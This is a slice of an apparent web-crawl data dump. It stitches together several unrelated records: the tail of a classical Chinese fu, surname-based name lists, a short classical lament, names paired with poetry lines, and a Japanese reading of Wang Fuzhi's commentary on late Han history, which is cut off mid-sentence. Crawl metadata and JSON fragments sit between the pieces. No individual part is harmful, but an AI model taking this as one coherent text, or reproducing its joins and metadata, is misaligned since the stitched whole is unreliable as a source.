而长驱兮,释叔向之飞患。悦善人之有救兮,劳祁奚于太原。何叔子之好直兮,为群邪之所恶。赖祁子之一言兮,几不免乎徂落。\n美不必为偶兮,时有差而不相及。虽韫宝而求贾兮,嗟千载其焉合?昔仲尼之淑圣兮,竟隘穷乎蔡陈。彼屈原之贞专兮,卒放沉于湘渊。何方直之难容兮,柳下黜出而三辱。蘧瑗抑而再奔兮,岂材知之不足。扬蛾眉而见妒兮,固丑女之情也。曲木恶直绳兮,亦不人之诚也。以夫子之博观兮,何此道之必然。空下时而矔世兮,自命己之取患。悲积习之生常兮,固明智之所别。叔群既在皂隶兮,六卿兴而为桀。荀寅肆而颛恣兮,吉射叛而擅兵。憎人臣之若兹兮,责赵鞅于晋阳。轶中国之都邑兮,登句注以陵厉。历雁门而入云中兮,超绝辙而远逝。济临沃而遥思兮,垂意兮边都。野萧条以寥廓兮,陵谷错以盘纡。飘寂寥以荒昒兮,沙埃起之杳冥。回风育其飘忽兮,回之泠泠。薄涸冻之凝滞兮,沸溪谷之清凉。漂积雪之皑皑兮,涉凝露之降霜。扬雹霰之复陆兮,慨原泉之凌阴。激流澌之漻泪兮,窥九渊之潜淋。飒凄怆以惨怛兮,慽风漻以冽寒。兽望浪以穴窜兮,乌胁翼之浚浚。山萧瑟以鸣兮,树木坏而哇吟。地坼裂而愤忽\n急兮,石捌破之岩岩。天烈烈以厉高兮,廖(土孝)窗以枭窂。雁邕邕以迟迟兮,野鹳鸣而嘈嘈。望亭隧之皦皦兮,飞旗帜之翩翩迥。百里之无家兮,路修远而绵绵。于是勒障塞而固守兮,奋武灵之精诚。摅赵奢之策虑兮,威谋完乎金城。外折冲以无虞兮,内抚民以永宁。既邕容以自得兮,唯惕惧于笁寒。攸潜温之玄室兮,涤浊秽于太清。反情素于寂漠兮,居华之冥冥。玩琴书以条畅兮,考性命之变态。运四时而览阴阳兮,总万物之珍怪。虽穷天地之极变兮,曾何足乎留意。长恬淡以欢娱兮,固贤圣之所喜。\n乱曰:□幽潜德,含圣神兮。抱奇内光,自得真兮。宠幸浮寄,奇无常兮。寄之去留,亦何伤兮。大人之度,品物齐兮。舍位之过,忽若遗兮。求位得位,固其常兮。守信保己,比老彭兮。\n相关文章推荐:\n述行赋 | 刘歆 | 刘向 | 五原 | 刘歆 | 河内 | 遂初 | 刘歆 | 遂初 | 显禄 | 北辰 | 帝侧 | 侈阔 | 魁杓 | 慕远 | 赵括 | 辛甲 | 王师 | 阒其无人 | 造乱 | 淑圣 | 隘穷 | 贞专 | 放沉 | 直绳 | 荀寅 | 颛恣 | 赵鞅 | 陵厉 | 边都 | 盘纡 | 涸冻 | 雹霰 | 潜淋 | 望浪 | 穴窜 | 浚浚 | 坼裂 | 赵奢 | 邕容 | 太清 | 寂漠 | 条畅 | 潜德 |","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.3936.net\/44CK6YGC5Yid6LWL44CLLzEwMDU4NDk2.html","date":"2020-03-28T14:47:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370491998.11\/warc\/CC-MAIN-20200328134227-20200328164227-00124.warc.gz","language":"lzh","language_score":0.5583258271,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5583258271217346, \"cmn_Hani_score\": 0.11398253589868546, \"zxx_Latn_score\": 0.06513360142707825, \"nan_Hani_score\": 0.053598981350660324, \"und_Adlm_score\": 0.021847153082489967, \"kor_Hang_score\": 0.014414047822356224, \"und_Lina_score\": 0.014037316665053368, \"und_Hluw_score\": 0.01173984631896019, \"und_Hira_score\": 0.01136771123856306}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.387,"perplexity_score":500.0,"cluster_detection":1} +{"text":"蕭姓女孩名字大全\n,姓名對於如今的人來講不單單只是代表自己的一個符號,一個好的名字會給自己的一生帶來很多的好運,所以在取名字的時候一定要謹慎的對待,下面是蕭姓女孩的男字提供給大家參考。\n蕭永雪 蕭藝瑤 蕭泳琳 蕭鳳娜 蕭艷娜 蕭麗瑩 蕭如雪 蕭倩靓 蕭雨潔 蕭楓倩 蕭茹亞 蕭玮瑩 蕭曉梅 蕭玮琳 蕭玮娟 蕭玮文 蕭玮瓊 蕭玮秀 蕭玮瑛 蕭玲珑 蕭見文 蕭鍵文 蕭汶文 蕭建文 蕭紅霞 蕭紫霞 蕭帼英 蕭堅紅 蕭玮紅 蕭玮霞 蕭玮萍 蕭玮瑤 蕭燕怡 蕭玲靜 蕭玮琴 蕭玮玲 蕭詠琴 蕭宛玲 蕭玲鹦 蕭秀琴 蕭茗妍 蕭如花 蕭友萍 蕭雨倩 蕭妤倩 蕭麗紅 蕭莉紅 蕭又琳 蕭滿紅 蕭錦紅 蕭明玉 蕭婷月 蕭光瓊 蕭燕雪 蕭風琴 蕭文瑩 蕭玟瑩 蕭皓雪 蕭佩怡 蕭怡雪 蕭小瓊 蕭雪芬 蕭琳凱 蕭碧玉 蕭忠梅 蕭潤花 蕭土萍 蕭子玉 蕭塞婷 蕭湘婷 蕭媛鏡 蕭悅涵 蕭紫怡 蕭字怡 蕭玲超 蕭玲瑩 蕭玲珠 蕭玲敏 蕭艷穎 蕭成美 蕭成芬 蕭翼潔 蕭素潔 蕭傑媛 蕭嘉莉 蕭燕林 蕭琳議 蕭素芳 蕭琴采 蕭琳哲 蕭媛珂 蕭澤娅 蕭小婷 蕭莺娅 蕭汐冉 蕭曉娅 蕭橘娅 蕭嫣 蕭筱婵 蕭钰麗 蕭姝麗 蕭靖妍 蕭靖娅 蕭碧霞 蕭有芳 蕭小怡 蕭小玲 蕭雯文 蕭頌瑤 蕭萌怡 蕭莉文 蕭婉文 蕭佩莉 蕭莉佳 蕭小燕 蕭靖琳 蕭筱娜 蕭樂妍 蕭妍 蕭妍妍 蕭妍清 蕭怡君 蕭怡軍 蕭娅 蕭莉蘭 蕭慧茹 蕭莉萌 蕭莉菲 蕭菲莉 蕭莉芙 蕭燕然 蕭燕子 蕭宛茹 蕭婉茹 蕭茹茵 蕭茵茹 蕭筱茹 蕭雅玲 蕭舒穎 蕭國芳 蕭娅萱 蕭佳瑩 蕭麗麗 蕭清美 蕭艷麗 蕭小文 蕭小娜 蕭冰雪 蕭海秀 蕭燕芳 蕭學玲 蕭金文 蕭天玉 蕭渲倩 蕭子瑩 蕭楚琳 蕭瑞玉 蕭賀琳 蕭琳浠 蕭浠琳 蕭柔琳 蕭凱琳 蕭澄琳 蕭冉冉 蕭渭琳 蕭海琳 蕭漫琳 蕭漱琳 蕭霓琳 蕭雪琳 蕭滢琳 蕭霈琳 蕭淑琳 蕭溆琳 蕭渝琳 蕭燕愛 蕭若雪 蕭玉玉 蕭鑽玉 蕭麗霞 蕭飄雪 蕭遠蓉 蕭祈媛 蕭敏玲 蕭瀚琳 蕭桢潔 蕭尚潔 蕭郡潔 蕭駿潔 蕭竣潔 蕭峻潔 蕭俊潔 蕭國文 蕭秋紅 蕭紹潔 蕭廉潔 蕭瑩華 蕭媛祺 蕭祺媛 蕭媛婉 蕭祺婵 蕭琳靜 蕭祺婧 蕭瑩雅 蕭祺娅 蕭萁娅 蕭五萍 蕭桂花 蕭瑜婷 蕭瑜潔 蕭舞琴 蕭倩禧 蕭慧霞 蕭若英 蕭曉莉 蕭怡汝 蕭美莉 蕭逸文 蕭駿文 蕭基文 蕭睿瑤 蕭玉文 蕭燕玲 蕭燕娟 蕭婵靜 蕭茹靜 蕭海萍 蕭惠萍 蕭靜茹 蕭莉姿 蕭娅楠 蕭依娜 蕭夢潔 蕭美琳 蕭欣妍 蕭燕紅 蕭偉文 蕭肖芳 蕭惠芳 蕭卓瑤 蕭筱芬 蕭莉芬 蕭舒莉 蕭智穎 蕭芯妍 蕭莉英 蕭莉芯 蕭歆潔 蕭嵘芳 蕭以瑛 蕭沁怡 蕭佳怡 蕭宜怡 蕭伊雪 蕭欣怡 蕭怡麗 蕭君怡 蕭思怡 蕭怡人 蕭棟文 蕭悅桦 蕭姝莉 蕭筱莉 蕭莺燕 蕭子茹 蕭莉茵 蕭莉瑩 蕭宛霞 蕭莉妍 蕭莉莎 蕭俐瑩 蕭莉玲 蕭妙文 蕭妙霞 蕭思萍 蕭妍滟 蕭戀妍 蕭佩艷 蕭桢琳 蕭琳珠 蕭桢茹 蕭小茹 蕭婧妤 蕭小紅 蕭儀琳 蕭雅婷 蕭琬婷 蕭劍琳 蕭嘉穎 蕭妤婷 蕭韓雪 蕭筱琳 蕭薇琳 蕭芯茹 蕭湫燕 蕭梓穎 蕭莉岱 蕭钰芬 蕭莎萍 蕭少婵","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.3322.online\/quming\/qmmj\/201612\/91911.html","date":"2020-09-28T19:22:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401604940.65\/warc\/CC-MAIN-20200928171446-20200928201446-00205.warc.gz","language":"lzh","language_score":0.8651723266,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8651723265647888, \"nan_Hani_score\": 0.09620563685894012, \"cmn_Hani_score\": 0.03737112507224083}","num_words":302,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.868,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n褚贝 褚蓓 褚彬 褚斌 褚冰 褚波 褚玻 褚超 褚辰 褚宸 褚晨 褚成 褚诚 褚弛 褚冲 褚崇 褚储 褚丹 褚焘 褚发 褚飞 褚峰 褚锋 褚福 褚旮 褚刚 褚亘 褚光 褚海 褚海 褚海 褚含 褚涵 褚汉 褚豪 褚濠 褚好 褚昊 褚耗 褚皓 褚灏 褚禾 褚和 褚衡 褚弘 褚宏 褚泓 褚洪 褚虹 褚鸿 褚欢 褚珲 褚惠 褚慧 褚家 褚建 褚剑 褚江 褚姣 褚杰 褚婕 褚津 褚矜 褚槿 褚进 褚晋 褚菁 褚晶 褚净 褚静 褚鞠 褚军 褚君 褚俊 褚可 褚奎 褚兰 褚澜 褚莨 褚乐 褚磊 褚力 褚利 褚俐 褚亮 褚了 褚林 褚湄 褚蒙 褚淼 褚民 褚玟 褚珉 褚泯 褚敏 褚名 褚明 褚鸣 褚茗 褚铭 褚宁 褚诺 褚鹏 褚平 褚苹 褚祁 褚淇 褚琦 褚琪 褚绮 褚谦 褚钦 褚芹 褚沁 褚青 褚清 褚秋 褚裘 褚群 褚然 褚人 褚韧 褚嵘 褚珊 褚神 褚生 褚晟 褚是 褚誓 褚思 褚嵩 褚涛 褚滔 褚韬 褚腾 褚滕 褚天 褚添 褚崴 褚威 褚薇 褚巍 褚维 褚伟 褚玮 褚雯 褚夕 褚希 褚析 褚郗 褚惜 褚淅 褚烯 褚玺 褚侠 褚夏 褚萧 褚潇 褚晓 褚笑 褚啸 褚欣 褚鑫 褚修 褚旭 褚蓄 褚轩 褚暄 褚旋 褚逊 褚岩 褚衍 褚琰 褚彦 褚谚 褚阳 褚杨 褚洋 褚耀 褚晔 褚烨 褚一 褚仪 褚沂 褚忆 褚屹 褚驿 褚滢 褚瀛 褚郢 褚勇 褚宇 褚语 褚昱 褚煜 褚毓 褚源 褚月 褚越 褚云 褚祯 褚智 褚子 褚爱凤 褚爱香 褚爱珍 褚嫒份 褚嫒逸 褚安安 褚安伦 褚安沦 褚安然 褚安潼 褚安芯 褚百和 褚百通 褚佰钧 褚柏柯 褚柏良 褚柏麟 褚帮益 褚帮毅 褚宝华 褚宝莲 褚宝欣 褚宝鑫 褚葆华 褚北京 褚贝贝 褚贝蒂 褚倍毅 褚蓓蕾 褚本善 褚碧菡 褚碧霄 褚嬖翠 褚嬖凡 褚嬖海 褚嬖含 褚嬖函 褚嬖晗 褚嬖菡 褚嬖昊 褚嬖佳 褚嬖嘉 褚嬖珂 褚嬖琦 褚嬖琪 褚嬖申 褚嬖苇 褚嬖雯 褚嬖馨 褚嬖伊 褚嬖钰 褚嬖臻 褚彬江 褚斌杰 褚冰婕 褚冰青 褚冰清 褚冰融 褚冰睿 褚冰珊 褚冰轩 褚兵兵 褚秉华 褚秉鑫 褚炳辰 褚炳祥 褚伯成 褚伯贵 褚伯涛 褚博连 褚博仁 褚博瑞 褚博涛 褚博源 褚搏涛 褚卜瑞 褚才华 褚才溢 褚彩云 褚灿阳 褚长镔 褚长锻 褚长风 褚长龙 褚长平 褚长寿 褚昶辉 褚昶瑞 褚昶阳 褚畅想 褚超群 褚朝辉 褚朝琪 褚朝旗 褚朝新 褚琛闻 褚辰溪 褚辰星 褚宸方 褚宸岚 褚宸瑞 褚宸闻 褚宸希 褚宸妤 褚晨傲 褚晨凡 褚晨慧 褚晨澜 褚晨茜 褚晨蕊 褚晨思 褚晨闻 褚晨阳 褚晨妤 褚成璧 褚成都 褚成名 褚成泰 褚成仪 褚成亦 褚成奕 褚成弈 褚承峰 褚承思 褚承旭 褚城仪 褚乘璧 褚程皓 褚吃屁 褚炽恒 褚崇宇 褚楚楚 褚楚豪 褚川乐 褚川平 褚川棋 褚川田 褚传敖 褚传焯 褚春雷 褚春权 褚春松 褚春雨 褚纯浩 褚纯正 褚淳光 褚辞彤 褚从来 褚翠勤 褚达到 褚大彪 褚大宽 褚大庆 褚大威 褚大为 褚大维 褚大卫 褚大阳 褚大雨 褚大禹 褚大治 褚代畅 褚代军 褚玳维 褚丹枫 褚旦旦 褚当当 褚得财 褚得道 褚得贵 褚得行 褚德邦 褚德宽 褚德路 褚德生 褚登封 褚地鸿 褚帝临 褚帝睿 褚帝威 褚刁纛 褚丁涵 褚丁好 褚丁卉 褚丁慧 褚丁宽 褚丁巧 褚丁睿 褚东东 褚东铎 褚东海 褚东虎 褚东升 褚东岳 褚东泽 褚栋梁 褚豆豆 褚多多 褚多智 褚鹅逸 褚恩宁 褚恩毅 褚凡菲 褚凡海 褚凡末 褚凡棋 褚方翠 褚方武 褚方宇 褚芳菲 褚芳正 褚飞虎 褚飞龙 褚飞彤 褚飞翔 褚飞熊 褚飞扬 褚非凡 褚非涵 褚菲菲 褚菲涵 褚斐凡 褚粉元 褚风海 褚峰光 褚峰豪 褚峰鸣 褚峰玮 褚峰先 褚峰旭 褚峰有 褚凤军 褚凤同 褚凤佟 褚凤桐 褚凤铜 褚凤轩 褚凤仪 褚奉海 褚夫琛 褚夫东 褚夫利 褚夫莲 褚夫龙 褚夫省 褚夫香 褚芙宏 褚福彬 褚福才 褚福畅 褚福唱 褚福德 褚福浩 褚福建 褚福将 褚福康 褚福坤 褚福利 褚福莲 褚福淼 褚福强 褚福侠 褚福鑫 褚福溢 褚福银 褚福元 褚福照 褚馥碧 褚馥菲 褚馥毓 褚伽林 褚伽霖 褚伽纳 褚改珍 褚刚烈 褚高宸 褚葛亮 褚官通 褚冠男 褚鹳瑞 褚光迪 褚光峰 褚光琪 褚光容 褚光卫 褚光贤 褚光炎 褚广飞 褚圭海 褚贵发 褚贵华 褚贵明 褚桂凯 褚桂来 褚桂清 褚桂荣 褚桂睿 褚国栋 褚国锋 褚国华 褚国俊 褚国利 褚国良 褚国林 褚国强 褚国廷 褚国万 褚国正 褚国政 褚海嬖 褚海斌 褚海波 褚海超 褚海东 褚海菡 褚海虹 褚海华 褚海岚 褚海亮 褚海林 褚海龙 褚海明 褚海宁 褚海鸥 褚海鹏 褚海涛 褚海轩 褚海璇 褚海逊 褚海岩 褚海溢 褚海志 褚含竣 褚含韵 褚函析 褚函昕 褚函弈","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/m.pc89.com\/xm-n1-11.html","date":"2021-08-05T22:05:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00673.warc.gz","language":"lzh","language_score":0.4704807103,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.47048071026802063, \"cmn_Hani_score\": 0.44333651661872864, \"nan_Hani_score\": 0.024941446259617805, \"wuu_Hani_score\": 0.01645699515938759, \"jpn_Jpan_score\": 0.014369037002325058}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.274,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.473,"perplexity_score":500.0,"cluster_detection":1} +{"text":"登陂阤之長阪兮,坌入曾宮之嵯峨。臨曲江之隑州兮,望南山之參差。巖巖深山之谾谾兮,通谷𧯆乎𧮰谺。汩淢噏習以永逝兮,注平臯之廣衍。觀眾樹之蓊薆兮,覽竹林之榛榛。東馳土山兮,北揭石瀨。弭節容與兮,歷弔二世。持身不謹兮,亡國失埶。信讒不寤兮,宗廟滅絕。嗚呼哀哉!操行之不得兮,墓蕪穢而不修兮,魂亡歸而不食。敻邈絕而不齊兮,彌久遠而愈佅。精罔閬而飛揚兮,拾九天而永逝。嗚呼哀哉!","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%93%80%E4%BA%8C%E4%B8%96%E8%B3%A6","date":"2021-10-22T00:31:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585449.31\/warc\/CC-MAIN-20211021230549-20211022020549-00463.warc.gz","language":"lzh","language_score":0.4207096398,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.42070963978767395, \"und_Hluw_score\": 0.14651045203208923, \"zxx_Latn_score\": 0.0649215430021286, \"nan_Hani_score\": 0.03868439048528671, \"und_Xsux_score\": 0.022713949903845787, \"und_Tang_score\": 0.01830446347594261, \"und_Kits_score\": 0.0159741397947073, \"und_Yiii_score\": 0.014823384582996368, \"und_Cher_score\": 0.014767748303711414, \"und_Egyp_score\": 0.014335482381284237, \"und_Grek_score\": 0.013751533813774586, \"und_Cyrl_score\": 0.012213919311761856, \"und_Nshu_score\": 0.012072417885065079, \"und_Sgnw_score\": 0.012018358334898949}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.205,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王沧月 王暖烟 王沧玉 沧海明月珠有泪古诗,蓝田日暖玉生烟\n王绮落 绮窗风落泪,花落谁人知?\n王朝朝 两情若是久长时,又岂在朝朝暮暮\n王栖梧 柳永《凤栖梧》\n王兮忆 入我相思门,知我相思苦,长相思兮长相忆,短相思兮无穷极\n王星辰 似此星辰非昨夜,为谁风露立中宵。\n王窈淑 窈宨淑女,君子好逑。\n王风月 人生自是有情痴,此恨不关风与月\n王落微 落花人独立,微雨燕双飞\n王影怜 王怜卿 王卿怜 瘦影自怜秋水照,卿须怜我我怜卿\n王幽梦 王夜幽 夜月一帘幽梦,春风十里柔情\n王谙离 明月不谙离恨苦,斜光到晓穿朱户","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.yaoruanwen.com\/n\/913322.html","date":"2021-12-06T17:46:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363309.86\/warc\/CC-MAIN-20211206163944-20211206193944-00628.warc.gz","language":"lzh","language_score":0.4958703816,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4958703815937042, \"cmn_Hani_score\": 0.3910815119743347, \"nan_Hani_score\": 0.08682594448328018, \"wuu_Hani_score\": 0.01832915097475052}","num_words":29,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.608,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王夫之『読通鑑論』より\n王夫之は明末清初の学者で、とくに歴史に関して意見のあったひと。有名なまとまった著書は、『読通鑑論』『宋論』である。『読通鑑論』は、『通鑑』にあらわれている事実を論じたもので、史法とは関係なく、まったくの史事の論である。\n内藤湖南『支那史学史2』(東洋文庫)、66頁。\n◆孫堅の進言で董卓を殺さなかった件\n孫堅の董卓を誅せんと欲し、張廷珪の安祿山を殺さんと欲するや、論者は其の果たさずして終に以て亂を長くするを惜しむ。張讓ら中に蟊賊と為り、李林甫・楊國忠 相 繼いで國を朘削す。卓微(な)けれども漢は必ず亡び、祿山微(な)けれども唐は必ず亂る。夫れ豈に二豎の果たして以て天を移して海を沸すに足るや。何進 卓を召さざれば卓 何ぞ逞ならん。玄宗 祿山を寵せざれば祿山 何ぞ藉らん。逆未だ著はれずして以疑殺人、且つ不勝其殺矣。是の故に後事の論、其の末懲けれども其の本を戒めず、智者 尚ばざる所なり。\n先主 曹操に呂布を殺さんことを勸め、而れども操の勁敵と為る者は、先主なり。孫堅の沈鷙して遠圖を懷くは、夫れ豈に卓の下に出づるや。張溫 假するに威福を以てせず、而れども卓をして相 制せしむれば、意計無きに非ざるなり。不幸にして卓の惡 成りて未だ以て溫の不豫を咎むる可からず。\n◆後漢を救えるのは傅燮だけだった\n漢の將に亡びんとするや、社稷の臣と為る可き者有るか。朱儁・盧植・王允 未だ以て之に當つるに足らず、唯だ傅燮のみ。黃巾を討ちて功有り、趙忠 之を致さんと欲して予め侯を以て封ずるに、燮 受けず。其の時に當たり、軍功有りて宦寺を拒み、直だ賞 及ばざるのみに非ず、還りて以て罪を受く。故に盧植 檻車に辱められ、王允 幾ど死を論ずるに於てし、皇甫嵩 其の印綬を奪ふ。燮 忠を拒みて忠 挫く能はず、其の名を憚かりて敢て害せず、燮の德威 讋權奄而して之を制するや、大なるかな。\n燮の忠を拒むや、曰く、「遇と不遇とは、命なり。功有りて論ぜざるは、時なり」と。正を守りて競はず、命を安んじて已甚の辭を為さず、坦だ夷するに天に任ぬるを以てし、而して但だ其の己に在るを盡くし、自ら雅量を以て沖懷適然於寵辱之交、而小人 能く其の際を窺ふこと莫し。其の漢陽に在るや、曰く、「吾 世の亂るるに遭ひ、浩然の志を養ふ能はず、人の祿を食み、又 其も難を避けんことを欲せんや」と。方に且つ自ら遜きて以て引身之不早、而不待引亢爽之氣以自激其必死之心。夫れ是の如きは、豈に小人の屈す可き所なるか、又 豈に小人の傷つくる可き所なるか。燮が若き者は、託するに六尺の孤を以てし、色を正して從容として危亂を鎮む。植也・儁也・允也、智勇は形はるるも中藏 淺く、固より不足以測燮之涯量矣。故に知燮の徒だ節義の士のみに非ざるなり。允なるかな其の社稷の臣為る可きは。\n◆王芬の霊帝廃位の計画は董卓より杜撰\n王芬 靈帝の北巡に乘じ、兵を以て諸常侍を誅し、帝を廢して合肥侯を立てんと欲す。使し其の成るや、亦た董卓なり。天下 且に亟やかに起ちて之を誅し、其の亡 且に董卓より速からん。卓 韁兵を擁して征討を專らにし、何進の召有りて內主と為り、辨を廢して協を立て、大位 未だ定まらざるの初に在りて、協は慧にして之を立てんと欲するは、又 靈帝の志なり。然るに且に踵を旋さずして關東 問罪の師を興す。芬 斗筲の文吏なるを以て、猝かに起ること一旦にして、二十二年に位に安たるの天子を劫し、之を廢して疏族を立つ。力は卓より弱く、名は卓より逆たり。人の罪を問ふや、豈に徒だ卓の如きなるのみや。況んや其の輕躁にして狂動なれば必ず成す能はざるなるか。曹操は其の敗を料り、以て其の廢立の妄を止む、其の智の人に過ぐるに非ざるなり。皎然是非禍福之殊途、有心有目無不能辨也。\n夫れ芬の狂は、何を以て迷ひて覺らざるや。陳蕃の子の逸 從臾之、而して襄楷 其の術を以て之に惑ふなり。故有積憤者、不可與圖萬全之術。挾技術者、不可與謀休咎之常。陳逸有不戴天之恨、身與俱碎而不恤、閔其志可也、而不可從也。若襄楷者、昂首窺天而生覬覦、君子之遠之也夙矣。此擇交定謀者之不可不知也。\n董卓よりも杜撰な廃立計画が成功するわけがないだろうが。\n◆袁隗・楊彪の政治判断はつたない\n何進 輔政するや、而れども袁隗を引きて錄尚書事を同にす。隗の望は重く、位は尊く、權は盛なり。紹及び術 進と與に同に宦官を誅せんと謀り、而れども隗 任ずる能はず。進 董卓を召し、曹操・陳琳・鄭泰・盧植 皆 必ず亂るるを知り、而れども隗 止むる能はず。董卓 弘農を廢して陳留を立て、以て議して隗に示し、而れども隗 議が如く報ゆ。猶然として位を尸して大臣と為り、廉恥の心 蕩然たり。然れども且に終に卓の手に死して其の家を滅す。故に夫れ恥有る者は、智を以てするに非ず、而れども智は莫智於知恥。恥を知りて後に己有るを知る。己有るを知りて後に物の輕きを知る。知物之輕、而後知人之不可與居、而事之不可以不斷。故利有所不專、位有所不受、功有所不分、禍有所不避。不知恥而避禍、是夜行見水而謂之石、不濡其足不止也。以疲老荏弱之情、內不能知子弟之桀鷙、外不知姦賊之雄猜、自倚族望之隆、優游而圖免、而可謂有生人之氣乎。東漢の袁氏有ると楊氏有るや、皆 德望の巨室にして、世々公輔と為る。而れども隗 彪と與に終に以て位を貪りて其の恥心を捐つ。叔孫豹曰く、「世々祿するや、朽ちざるに非ざるなり」と。信なるかな。不朽に三有り、唯だ恥有る者は之を能くし、隗と彪とは、其れ朽久なり。\n◆何進が宦官に負けた七つの原因\n輕重の勢、若し返す可からざれば、之を返すに幾ど正に是に在るや、而れども人 知る能はざるなり。宦寺の禍、彌々東漢に延び、靈帝に至りて蔑以加矣。黨人 力めて之に抗して死し、竇武 之を誅せんと欲して死し、陽球 之を擊たんと力めて死し、後に孰か敢て身を以て水火を蹈みて姑く嘗試を為すか。然れども天下の盜 蠭起し、之を指數して挾むに以て名と為す。四海 窮民、受其の子弟の賓黨 濫大官大邑以朘削無餘者、皆詛咒而望其速亡。誅殺禁錮之子孫宗族、不與共戴天日而願與並命者、日含憤以求一旦之報。士大夫茍非其黨、不獲已而俯出其下者、畜惡怒以俟天誅之期。桀・紂・幽・厲以聖帝明王之塚裔、正位為天下君、而卒至隕滅、況此無賴之刑人、其能長此而無患乎。故極重而必返、夫人而可與知也。\n夫れ既に夫人而可與知、則一旦撲之、如烈風吹將盡之鐙、甚速而易、必矣。陳琳曰く、「此猶鼓洪鑪燎毛髮」と。一曹操曰、「其の元惡を誅さば、一獄吏あらば足りん」と。而れども何進 若し持方寸之刃以擬猛虎、其呼將助也不擇人、其撓敗也無快志。袁紹 豪傑を以て自ら命じ、進の謀主と為り、且憂危展轉而無能為計。而遣鮑信募泰山之甲、丁原舉孟津之火、甚且召董卓以犯宮闕。進之心膽失據、而紹無能輔也。曹操笑而袁紹憂、其智計之優劣、於斯見矣。\n所以然者、進 外戚を以て宦官を攻め、人 竇氏の禍に懲り、為に心を傾くる無きは、一なり。進の恃む所の者は何后なり、動を舉げて后を待ちて後に敢行す。以婦人而敵宦官、智計不及、而多為之蠱、二也。袁隗身為大臣、而疲庸尸位、無能以社稷自任、三也。鄭泰・盧植初起於田間、任淺望輕、弗能為益、楊彪・黃琬、無以大殊於袁隗、四也。袁紹兄弟、包藏禍心、乘時搆亂、而無戮力王室之誠、五也。曹操 識之明・持之定、而志懷叵測、聽王室之亂、居靜以待動、何進の迷を視て、而れども但だ一笑を以て之に當たる、六なり。皇甫嵩・蓋勛 名義を顧みて不欲狂逞、進 躁迫して不倚以為腹心、七也。此の七敗の形勢を具へて以て宦者を誅す、而して固より其の堪ふる所に非ず、雖欲禍之不中於宗社、其將能乎。\n夫れ內に奪柄の心を懷き、外に正人の助無く、何進の若き者は、不足論已。已往の覆轍は、將て來鑒と為らん。凡そ皇天の予せざる所、志士仁人の予せざる所、天下之民受制於威、受餌於利、人心所不戴以為尊親、而苛暴淫虐、日削月靡、孤人子、寡人妻、積以歲月而淫逞不收、若此者、其滅其亡皆旦夕之間、河決魚爛而不勞餘力。智者靜以俟天、勇者決以自任、勿為張皇迫遽而驚為回天轉日之難也。存乎其人而已矣。彼の曹操なる者は、固より亦た嘗て晏坐して之を笑へり。況んや其の道を秉りて以て匡夫不為操者乎。\n◆蔡邕のすぐれた振る舞い\n史は董卓の蔡邕を辟するを紀し、邕 疾と稱して就かず。卓 怒りて曰く、「我れ人を族する能ふ」と。邕 懼れて命に應ず。此れ殆ど邕の才を惜み、為之辭以文其過、非果然也。 卓の始めて國柄を執るや、亟やかに名に於て賢者を借りて以て天下を動かす、蓋し汲汲焉たり。公卿の子弟を除して郎と為し、以て宦官に代へ、陳・竇を弔祭し、黨人の爵位を復し、申屠蟠を征して、推して黃琬・楊彪・荀爽を進めて三公と為し、分任韓馥・劉岱・孔伷・張邈為州郡、力返桓・靈宦豎之政、竊譽以動天下。蔡邕首被徵、豈其禮辭不就而遽欲族之哉。故以知卓之未必有此言也。且使卓而言此矣、亦其粗獷不擇・一時奰發之詞、而亦何足懼哉。申屠蟠不至、晏然而以壽終矣。袁紹橫刀揖出、掛節上東門、而弗能迫殺之矣。盧植力沮弘農王之廢、而止於免官、逌然以去矣。鄭泰沮用兵之議、巽辭而解矣。朱儁・黃琬不欲遷都、而皆全身以退矣。邕以疾辭、未至如數子之決裂、而何為其族邪。狂夫の言、一たび怒りて餘無く、卓の暴、市井に亡賴の讕言なり。何ぞ懼るるに足るや。\n邕の始めて議郎と為るや、程璜の毒、陽球の酷、指顧を以て人を殺す可けれども、邕 懼れず。累は叔質に及び、幾ど同に駢首して以て死すれども、懼れず。何ぞ其の壯なるや。是に至り餒なり。江海に亡命すること十二年にして、固より貞人志士義命自居之安土也。宦官の怨 